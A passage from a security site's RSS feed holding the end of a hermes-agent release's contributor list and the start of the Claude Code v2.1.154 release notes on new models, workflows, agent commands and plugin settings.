<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dusterbloom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dusterbloom">@dusterbloom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/duyua9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/duyua9">@duyua9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/el-analista/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/el-analista">@el-analista</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eloklam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eloklam">@eloklam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EloquentBrush0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EloquentBrush0x">@EloquentBrush0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emonty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emonty">@emonty</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erhnysr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erhnysr">@erhnysr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erikengervall/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erikengervall">@erikengervall</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ether-btc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ether-btc">@ether-btc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EvilHumphrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EvilHumphrey">@EvilHumphrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabiosiqueira/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabiosiqueira">@fabiosiqueira</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falasi">@falasi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falconexe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falconexe">@falconexe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fardoche6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fardoche6">@fardoche6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/felix-windsor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/felix-windsor">@felix-windsor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fewmanism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fewmanism">@Fewmanism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffr31mr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffr31mr">@ffr31mr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flamiinngo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flamiinngo">@flamiinngo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flanny7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flanny7">@flanny7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fonhal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fonhal">@fonhal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/francip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/francip">@francip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fujinice/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fujinice">@fujinice</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gianfrancopiana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gianfrancopiana">@gianfrancopiana</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glennc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glennc">@glennc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Glucksberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Glucksberg">@Glucksberg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/godlin-gh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/godlin-gh">@godlin-gh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Grogger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Grogger">@Grogger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guillaumemeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guillaumemeyer">@guillaumemeyer</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hanzckernel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hanzckernel">@hanzckernel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hawknewton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hawknewton">@hawknewton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hayka-pacha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hayka-pacha">@hayka-pacha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hehehe0803/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hehehe0803">@hehehe0803</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenkDz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenkDz">@HenkDz</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Hermes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hermes">@Hermes</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hermesagent26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hermesagent26">@hermesagent26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hinotoi-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hinotoi-agent">@Hinotoi-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hongchen1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hongchen1993">@hongchen1993</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/honor2030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/honor2030">@honor2030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/houenyang-momo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/houenyang-momo">@houenyang-momo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ht1072/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ht1072">@ht1072</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hueilau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hueilau">@hueilau</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamfoz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamfoz">@iamfoz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ilonagaja509-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ilonagaja509-glitch">@ilonagaja509-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/InB4DevOps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/InB4DevOps">@InB4DevOps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/indigokarasu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/indigokarasu">@indigokarasu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iqdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iqdoctor">@iqdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iRonin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iRonin">@iRonin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JabberELF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JabberELF">@JabberELF</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jacevys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jacevys">@jacevys</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackey8616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackey8616">@jackey8616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackjin1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackjin1997">@jackjin1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jdelmerico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jdelmerico">@jdelmerico</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jfuenmayor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jfuenmayor">@jfuenmayor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jiahui-Gu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jiahui-Gu">@Jiahui-Gu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joe102084/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joe102084">@joe102084</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnC1009/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnC1009">@JohnC1009</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpol01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpol01">@jonpol01</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jpalmer95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jpalmer95">@Jpalmer95</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Julientalbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Julientalbot">@Julientalbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justemu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justemu">@justemu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justincc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justincc">@justincc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jvinals/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jvinals">@jvinals</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/karthikeyann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/karthikeyann">@karthikeyann</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kasunvinod/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kasunvinod">@kasunvinod</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kchuang1015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kchuang1015">@kchuang1015</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kenyonxu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kenyonxu">@kenyonxu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/khungate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/khungate">@khungate</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kiranvk-2011/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kiranvk-2011">@kiranvk-2011</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kjames2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kjames2001">@kjames2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kpadilha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kpadilha">@kpadilha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kriscolab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kriscolab">@kriscolab</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krislidimo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krislidimo">@krislidimo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kronexoi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kronexoi">@kronexoi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunci115/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunci115">@kunci115</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kylejeong2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kylejeong2">@Kylejeong2</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kylekahraman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kylekahraman">@kylekahraman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leeseoki0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leeseoki0">@leeseoki0</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lemassykoi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lemassykoi">@lemassykoi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lempkey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lempkey">@Lempkey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonJS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonJS">@LeonJS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lidge-jun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lidge-jun">@lidge-jun</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LifeJiggy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LifeJiggy">@LifeJiggy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LizerAIDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LizerAIDev">@LizerAIDev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loicnico96/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loicnico96">@loicnico96</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a>,<br>
@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a>, @Nami4D,<br>
@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a>, @nnnet, @noctilust, @novax635,<br>
@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,<br>
@r266-tech, @rak135, @rdasilva1016-ui, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a>, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,<br>
@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,<br>
@Saurav0989, @savanne-kham, @Schrotti77, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a>, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,<br>
@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,<br>
@Soju06, @someaka, @soynchux, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,<br>
@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a>, @superearn-fisher, @Sylw3ster, @tchanee,<br>
@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ticketclosed-wontfix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ticketclosed-wontfix">@ticketclosed-wontfix</a>, @Timur00Kh,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomqiaozc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomqiaozc">@tomqiaozc</a>, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,<br>
@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,<br>
@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yannsunn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yannsunn">@yannsunn</a>, @YanzhongSu, @YarrowQiao, @ygd58,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a>, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, @ziliangpeng, @zwolniony, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.16...v2026.5.28">v2026.5.16...v2026.5.28</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.154]]></title>
<description><![CDATA[What's changed

Opus 4.8 is here! Now defaults to high effort · /effort xhigh for your hardest tasks
Introducing dynamic workflows: ask Claude to create a workflow and it orchestrates work across tens to hundreds of agents in the background, so you can take on larger, more complex tasks. Run /wor...]]></description>
<link>https://tsecurity.de/de/3555162/downloads/v21154/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555162/downloads/v21154/</guid>
<pubDate>Thu, 28 May 2026 20:01:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Opus 4.8 is here! Now defaults to high effort · /effort xhigh for your hardest tasks</li>
<li>Introducing dynamic workflows: ask Claude to create a workflow and it orchestrates work across tens to hundreds of agents in the background, so you can take on larger, more complex tasks. Run <code>/workflows</code> to view your runs</li>
<li>Fast mode on Opus 4.8 is now available at a fraction of its previous cost: 2x the standard rate for 2.5x the speed</li>
<li>The lean system prompt is now the default for all models except Haiku, Sonnet, and Opus 4.7 and earlier</li>
<li>Claude now reserves the multiple-choice question prompt for decisions it genuinely cannot make itself, instead of asking when it already has enough context to proceed</li>
<li><code>/simplify</code> now runs a cleanup-only review (reuse, simplification, efficiency, altitude) and applies the fixes, instead of running the full <code>/code-review --fix</code> bug-hunting review</li>
<li>Renamed the <code>/effort</code> slider labels from "Speed"/"Intelligence" to "Faster"/"Smarter" for clarity</li>
<li><code>claude agents</code>: type <code>! &lt;command&gt;</code> to run a shell command as a background session you can attach to and detach from. Also available as <code>claude --bg --exec '&lt;command&gt;'</code></li>
<li><code>claude agents</code>: <code>/logout</code> now signs you out instead of being sent to a background session</li>
<li><code>←←</code> to open the agents view now works on Bedrock, Vertex, Foundry, and with telemetry disabled</li>
<li>Claude in Chrome: pick which connected browser to use via <code>/chrome</code> → "Select browser…", or in-chat when a browser action runs with multiple connected</li>
<li>Plugins can now declare <code>defaultEnabled: false</code> in <code>plugin.json</code> or a marketplace entry; enable them with <code>/plugin</code> or <code>claude plugin enable</code>. Dependencies of enabled plugins are still enabled automatically</li>
<li>The <code>/plugin</code> Discover tab now pins plugins whose relevance signals match the current directory with a "suggested for this directory" annotation</li>
<li>Streaming tool execution is now always enabled, including when telemetry is disabled or on Bedrock/Vertex/Foundry (previously behind a feature flag)</li>
<li>Stdio MCP server subprocesses now receive <code>CLAUDE_CODE_SESSION_ID</code> and <code>CLAUDECODE=1</code> in their environment</li>
